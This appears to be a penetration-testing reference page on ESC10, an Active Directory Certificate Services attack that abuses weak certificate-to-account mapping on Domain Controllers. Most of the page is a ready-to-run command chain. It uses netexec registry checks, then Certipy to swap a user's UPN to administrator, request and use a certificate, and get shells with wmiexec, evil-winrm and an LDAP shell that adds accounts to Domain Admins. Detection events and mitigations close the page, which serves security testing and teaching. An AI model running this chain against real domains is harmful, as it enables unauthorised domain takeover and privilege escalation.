AD ^: Active Directory

ESC10 — Weak Certificate Mapping

ESC10 exploits weak certificate-to-account mapping enforcement on the Domain Controller. When the DC receives a certificate for authentication, it must…

advanced updated 2026-08-10 NetExec · Certipy · BloodHound · Evil-WinRM

ESC10 — Weak Certificate Mapping

Quick Reference

FieldValue
CategoryDC Configuration Abuse
DifficultyMedium
Pre-requisitesGenericWrite over an account + weak mapping registry settings on DC
ToolsCertipy, BloodHound, netexec
OPSEC NoiseMedium — UPN/DNS attribute changes generate AD change events
One-linerAbuse weak certificate-to-account mapping on the DC to impersonate any user via UPN/DNS swap, similar to ESC9/ESC16 but caused by DC registry settings.

What Is ESC10?

ESC10 exploits weak certificate-to-account mapping enforcement on the Domain Controller. When the DC receives a certificate for authentication, it must determine which AD account the certificate belongs to. This “mapping” process can be strong (cryptographically verified via objectSID extension) or weak (trusting the UPN/DNS in the certificate without SID verification).

ESC10 has two distinct variants based on which authentication protocol uses weak mapping:

VariantProtocolRegistry KeyVulnerable Value
ESC10aKerberos (PKINIT)StrongCertificateBindingEnforcement0
ESC10bSchannel (LDAPS/TLS)CertificateMappingMethodsContains 0x04 (UPN mapping bit)

ESC10 vs ESC9 vs ESC16 — Why They Look Similar But Aren’t

All three use UPN/DNS swap → request cert → restore. The root cause differs:

ESC9ESC10ESC16
Root causeTemplate flag CT_FLAG_NO_SECURITY_EXTENSIONDC registry weak mappingCA-wide DisableExtensionList
SID extension in cert?❌ (template strips it)✅ (SID IS present, but DC ignores it)❌ (CA strips it)
Where weakness livesCertificate TemplateDomain ControllerCertificate Authority
Blocked by StrongBinding=2?❌ ESC10a requires value=0

Required Conditions — ESC10a (Kerberos)

ConditionWhere to Check
StrongCertificateBindingEnforcement = 0 on DCRegistry: HKLM\SYSTEM\CurrentControlSet\Services\Kdc
Attacker has GenericWrite over an accountBloodHound ACE edges
That account can enroll in a Client Auth templateTemplate enrollment rights

Required Conditions — ESC10b (Schannel)

ConditionWhere to Check
CertificateMappingMethods contains UPN bit (0x04)Registry: HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel
Attacker has GenericWrite over an accountBloodHound ACE edges
That account can enroll in a Client Auth templateTemplate enrollment rights
LDAPS is enabled on DCPort 636 accessible

Step 0 — Enumeration

# Check StrongCertificateBindingEnforcement
netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
  -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement'
# 0 = ESC10a exploitable
# 1 = Compatibility mode (may still work in some scenarios)
# 2 = Full enforcement (blocked)

# Check CertificateMappingMethods
netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
  -x 'reg query "HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel" /v CertificateMappingMethods'
# If value contains 0x4 = UPN mapping enabled = ESC10b exploitable
# Default value 0x1F = ALL methods enabled = ESC10b exploitable

# Standard certipy scan
certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
  -dc-ip $TARGET -vulnerable -stdout

ESC10a Full Attack Chain — Kerberos (UPN Swap)

The chain is similar to ESC9/ESC16 — swap UPN, request cert, restore, authenticate.

Step 1 — Note Current UPN of Controlled Account

certipy-ad account \
  -u 'lowpriv@domain.htb' \
  -p 'Password123!' \
  -dc-ip $TARGET \
  -user 'targetuser' \
  lookup
# Note: targetuser@domain.htb

Step 2 — Swap UPN to Administrator

certipy-ad account \
  -u 'lowpriv@domain.htb' \
  -p 'Password123!' \
  -dc-ip $TARGET \
  -user 'targetuser' \
  -upn 'administrator' \
  update

Step 3 — Request Certificate

certipy-ad req \
  -u 'targetuser@domain.htb' \
  -p 'TargetPass!' \
  -dc-ip $TARGET \
  -ca 'DOMAIN-CA-NAME' \
  -template 'User'

# Certificate WILL contain objectSID of targetuser
# But StrongCertificateBindingEnforcement=0 means DC ignores it

Step 4 — Restore UPN Immediately

certipy-ad account \
  -u 'lowpriv@domain.htb' \
  -p 'Password123!' \
  -dc-ip $TARGET \
  -user 'targetuser' \
  -upn 'targetuser@domain.htb' \
  update

Step 5 — Authenticate

certipy-ad auth \
  -pfx administrator.pfx \
  -username administrator \
  -domain domain.htb \
  -dc-ip $TARGET

# DC maps cert to administrator via UPN (ignoring SID mismatch)

Step 6 — Shell

export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass DC01.domain.htb
evil-winrm -i $TARGET -u administrator -H <NTHASH>

ESC10b Full Attack Chain — Schannel (LDAPS Auth)

ESC10b is different — instead of using PKINIT for Kerberos auth, you authenticate directly to LDAPS using the forged certificate. The DC’s Schannel provider maps the cert to a user via the weak UPN method.

Steps 1–4 — Same as ESC10a (UPN swap, request cert, restore)

Step 5 — Authenticate via Schannel (LDAPS)

# Use certipy with -ldap-shell flag for Schannel authentication
certipy-ad auth \
  -pfx administrator.pfx \
  -username administrator \
  -domain domain.htb \
  -dc-ip $TARGET \
  -ldap-shell

# This gives you an LDAP shell as administrator
# From here you can:
# - Add yourself to Domain Admins
# - Perform Shadow Credentials attack
# - Dump LDAP data

# In the LDAP shell:
> add_user_to_group administrator "Domain Admins"
> set_rbcd EVILPC$ DC01$

💡 ESC10b via Schannel is particularly useful when PKINIT is disabled or when StrongCertificateBindingEnforcement is set to 2 (blocking ESC10a) but CertificateMappingMethods still has UPN mapping enabled.


OPSEC Considerations

ActionLog GeneratedNoise Level
Registry query (remote)Security Event 4688 (process creation)🟡 Medium
UPN modificationEvent ID 4738 (user account changed)🔴 High
Certificate requestEvent ID 4886/4887 on CA🟡 Medium
LDAPS auth (ESC10b)Event ID 4624 Type 10 via TLS🟡 Medium

Detection Indicators

  • Event ID 4738 — Rapid UPN change + revert (same pattern as ESC9/ESC16)
  • Event ID 4887 — Certificate issued where embedded SID doesn’t match the UPN
  • Registry monitoringStrongCertificateBindingEnforcement or CertificateMappingMethods changed from enforced to weak values
  • LDAPS auth anomalies — Certificate-based LDAPS logon from unexpected source IPs (ESC10b)

Mitigation

  • Set StrongCertificateBindingEnforcement = 2 on all DCs — this is the single most important fix
  • Remove UPN mapping bit from CertificateMappingMethods — set to 0x18 (SHA1 PublicKey + IssuerSerialNumber only) instead of the default 0x1F
  • Audit GenericWrite ACEs — the pre-requisite for the UPN swap
  • Apply KB5014754 and move beyond the compatibility period
  • Monitor UPN attribute changes — alert on any userPrincipalName modification